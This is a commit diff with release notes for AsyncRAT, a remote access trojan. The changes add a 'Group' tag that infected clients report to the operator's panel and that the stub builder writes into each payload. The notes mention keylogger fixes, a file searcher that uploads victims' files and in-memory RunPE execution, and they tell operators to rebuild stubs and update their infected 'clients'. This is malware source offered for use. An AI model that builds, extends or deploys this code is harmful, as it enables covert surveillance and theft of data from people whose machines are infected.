Update

fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added gorup to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise you won't be able to use the new plugins

AsyncRAT-C#/Client/Helper/IdSender.cs

@@ -24,6 +24,7 @@ namespace Client.Helper
             msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
             msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
             msgpack.ForcePathObject("Pong").AsString = "";
+            msgpack.ForcePathObject("Group").AsString = Settings.Group;
             return msgpack.Encode2Bytes();
         }
     }

AsyncRAT-C#/Client/Settings.cs

@@ -13,7 +13,7 @@ namespace Client
 #if DEBUG
         public static string Ports = "6606";
         public static string Hosts = "127.0.0.1";
-        public static string Version = "0.5.6C";
+        public static string Version = "0.5.6D";
         public static string Install = "false";
         public static string InstallFolder = "AppData";
         public static string InstallFile = "Test.exe";
@@ -28,6 +28,7 @@ namespace Client
         public static string BDOS = "false";
         public static string Hwid = HwidGen.HWID();
         public static string Delay = "0";
+        public static string Group = "Debug";
 
 #else
         public static string Ports = "%Ports%";
@@ -47,6 +48,7 @@ namespace Client
         public static string BDOS = "%BDOS%";
         public static string Hwid = "";
         public static string Delay = "%Delay%";
+        public static string Group = "%Group%";
 #endif
 
 

AsyncRAT-C#/Server/App.config

@@ -65,6 +65,9 @@
       <setting name="txtBlocked" serializeAs="String">
         <value />
       </setting>
+      <setting name="Group" serializeAs="String">
+        <value>Default</value>
+      </setting>
     </Server.Properties.Settings>
     <AsyncRAT_Sharp.Properties.Settings>
       <setting name="Ports" serializeAs="String">

AsyncRAT-C#/Server/Forms/Form1.Designer.cs

@@ -131,6 +131,7 @@
             this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
             this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
             this.TimerTask = new System.Windows.Forms.Timer(this.components);
+            this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.contextMenuClient.SuspendLayout();
             this.statusStrip1.SuspendLayout();
             this.tabControl1.SuspendLayout();
@@ -151,6 +152,7 @@
             this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
             this.lv_ip,
             this.lv_country,
+            this.lv_group,
             this.lv_hwid,
             this.lv_user,
             this.lv_os,
@@ -991,6 +993,11 @@
             this.TimerTask.Interval = 5000;
             this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
             // 
+            // lv_group
+            // 
+            this.lv_group.Text = "Group";
+            this.lv_group.Width = 110;
+            // 
             // Form1
             // 
             this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -1127,6 +1134,7 @@
         private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem1;
         private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem;
         private System.Windows.Forms.ToolStripMenuItem filesSearcherToolStripMenuItem;
+        private System.Windows.Forms.ColumnHeader lv_group;
     }
 }
 

AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs

@@ -51,6 +51,8 @@ namespace Server.Forms
             this.label3 = new System.Windows.Forms.Label();
             this.label4 = new System.Windows.Forms.Label();
             this.groupBox3 = new System.Windows.Forms.GroupBox();
+            this.txtGroup = new System.Windows.Forms.TextBox();
+            this.label17 = new System.Windows.Forms.Label();
             this.numDelay = new System.Windows.Forms.NumericUpDown();
             this.label16 = new System.Windows.Forms.Label();
             this.pictureBox1 = new System.Windows.Forms.PictureBox();
@@ -326,6 +328,8 @@ namespace Server.Forms
             // 
             // groupBox3
             // 
+            this.groupBox3.Controls.Add(this.txtGroup);
+            this.groupBox3.Controls.Add(this.label17);
             this.groupBox3.Controls.Add(this.numDelay);
             this.groupBox3.Controls.Add(this.label16);
             this.groupBox3.Controls.Add(this.pictureBox1);
@@ -340,16 +344,34 @@ namespace Server.Forms
             this.groupBox3.TabStop = false;
             this.groupBox3.Text = "MISC";
             // 
+            // txtGroup
+            // 
+            this.txtGroup.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Group", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+            this.txtGroup.Location = new System.Drawing.Point(23, 75);
+            this.txtGroup.Name = "txtGroup";
+            this.txtGroup.Size = new System.Drawing.Size(301, 26);
+            this.txtGroup.TabIndex = 17;
+            this.txtGroup.Text = global::Server.Properties.Settings.Default.Group;
+            // 
+            // label17
+            // 
+            this.label17.AutoSize = true;
+            this.label17.Location = new System.Drawing.Point(19, 43);
+            this.label17.Name = "label17";
+            this.label17.Size = new System.Drawing.Size(54, 20);
+            this.label17.TabIndex = 16;
+            this.label17.Text = "Group";
+            // 
             // numDelay
             // 
-            this.numDelay.Location = new System.Drawing.Point(19, 165);
+            this.numDelay.Location = new System.Drawing.Point(27, 368);
             this.numDelay.Maximum = new decimal(new int[] {
             999,
             0,
             0,
             0});
             this.numDelay.Minimum = new decimal(new int[] {
-            2,
+            1,
             0,
             0,
             0});
@@ -357,7 +379,7 @@ namespace Server.Forms
             this.numDelay.Size = new System.Drawing.Size(84, 26);
             this.numDelay.TabIndex = 15;
             this.numDelay.Value = new decimal(new int[] {
-            5,
+            1,
             0,
             0,
             0});
@@ -365,7 +387,7 @@ namespace Server.Forms
             // label16
             // 
             this.label16.AutoSize = true;
-            this.label16.Location = new System.Drawing.Point(15, 133);
+            this.label16.Location = new System.Drawing.Point(23, 336);
             this.label16.Name = "label16";
             this.label16.Size = new System.Drawing.Size(123, 20);
             this.label16.TabIndex = 14;
@@ -374,7 +396,7 @@ namespace Server.Forms
             // pictureBox1
             // 
             this.pictureBox1.Image = global::Server.Properties.Resources.uac;
-            this.pictureBox1.Location = new System.Drawing.Point(175, 72);
+            this.pictureBox1.Location = new System.Drawing.Point(183, 275);
             this.pictureBox1.Name = "pictureBox1";
             this.pictureBox1.Size = new System.Drawing.Size(32, 32);
             this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
@@ -384,7 +406,7 @@ namespace Server.Forms
             // chkBdos
             // 
             this.chkBdos.AutoSize = true;
-            this.chkBdos.Location = new System.Drawing.Point(15, 80);
+            this.chkBdos.Location = new System.Drawing.Point(23, 283);
             this.chkBdos.Name = "chkBdos";
             this.chkBdos.Size = new System.Drawing.Size(143, 24);
             this.chkBdos.TabIndex = 12;
@@ -394,7 +416,7 @@ namespace Server.Forms
             // txtMutex
             // 
             this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
-            this.txtMutex.Location = new System.Drawing.Point(19, 251);
+            this.txtMutex.Location = new System.Drawing.Point(23, 163);
             this.txtMutex.Name = "txtMutex";
             this.txtMutex.Size = new System.Drawing.Size(301, 26);
             this.txtMutex.TabIndex = 11;
@@ -403,7 +425,7 @@ namespace Server.Forms
             // label5
             // 
             this.label5.AutoSize = true;
-            this.label5.Location = new System.Drawing.Point(15, 219);
+            this.label5.Location = new System.Drawing.Point(19, 131);
             this.label5.Name = "label5";
             this.label5.Size = new System.Drawing.Size(52, 20);
             this.label5.TabIndex = 10;
@@ -412,7 +434,7 @@ namespace Server.Forms
             // chkAnti
             // 
             this.chkAnti.AutoSize = true;
-            this.chkAnti.Location = new System.Drawing.Point(15, 29);
+            this.chkAnti.Location = new System.Drawing.Point(23, 232);
             this.chkAnti.Name = "chkAnti";
             this.chkAnti.Size = new System.Drawing.Size(125, 24);
             this.chkAnti.TabIndex = 9;
@@ -887,5 +909,7 @@ namespace Server.Forms
         private System.Windows.Forms.Button btnIcon;
         private System.Windows.Forms.NumericUpDown numDelay;
         private System.Windows.Forms.Label label16;
+        private System.Windows.Forms.TextBox txtGroup;
+        private System.Windows.Forms.Label label17;
     }
 }

AsyncRAT-C#/Server/Forms/FormBuilder.cs

@@ -448,6 +448,9 @@ namespace Server.Forms
 
                                     if (method.Body.Instructions[i].Operand.ToString() == "%Delay%")
                                         method.Body.Instructions[i].Operand = numDelay.Value.ToString();
+
+                                    if (method.Body.Instructions[i].Operand.ToString() == "%Group%")
+                                        method.Body.Instructions[i].Operand = txtGroup.Text;
                                 }
                             }
                         }

AsyncRAT-C#/Server/Handle Packet/HandleListView.cs

@@ -56,6 +56,7 @@ namespace Server.Handle_Packet
                     client.LV.SubItems.Add("??");
                 }
 
+                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
                 client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                 client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                 client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);

AsyncRAT-C#/Server/Properties/AssemblyInfo.cs

@@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
 // You can specify all the values or you can default the Build and Revision Numbers
 // by using the '*' as shown below:
 // [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("0.5.5.0")]
+[assembly: AssemblyVersion("0.5.6.0")]
-[assembly: AssemblyFileVersion("0.5.5.0")]
+[assembly: AssemblyFileVersion("0.5.6.0")]

AsyncRAT-C#/Server/Properties/Settings.Designer.cs

@@ -12,7 +12,7 @@ namespace Server.Properties {
     
     
     [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")]
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.5.0.0")]
     internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
         
         private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
@@ -238,5 +238,17 @@ namespace Server.Properties {
                 this["txtBlocked"] = value;
             }
         }
+        
+        [global::System.Configuration.UserScopedSettingAttribute()]
+        [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+        [global::System.Configuration.DefaultSettingValueAttribute("Default")]
+        public string Group {
+            get {
+                return ((string)(this["Group"]));
+            }
+            set {
+                this["Group"] = value;
+            }
+        }
     }
 }

AsyncRAT-C#/Server/Properties/Settings.settings

@@ -56,5 +56,8 @@
     <Setting Name="txtBlocked" Type="System.String" Scope="User">
       <Value Profile="(Default)" />
     </Setting>
+    <Setting Name="Group" Type="System.String" Scope="User">
+      <Value Profile="(Default)">Default</Value>
+    </Setting>
   </Settings>
 </SettingsFile>

AsyncRAT-C#/Server/Settings.cs

@@ -19,7 +19,7 @@ namespace Server
 
         public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
         public static X509Certificate2 ServerCertificate;
-        public static readonly string Version = "AsyncRAT 0.5.6C";
+        public static readonly string Version = "AsyncRAT 0.5.6D";
         public static object LockListviewClients = new object();
         public static object LockListviewLogs = new object();
         public static object LockListviewThumb = new object();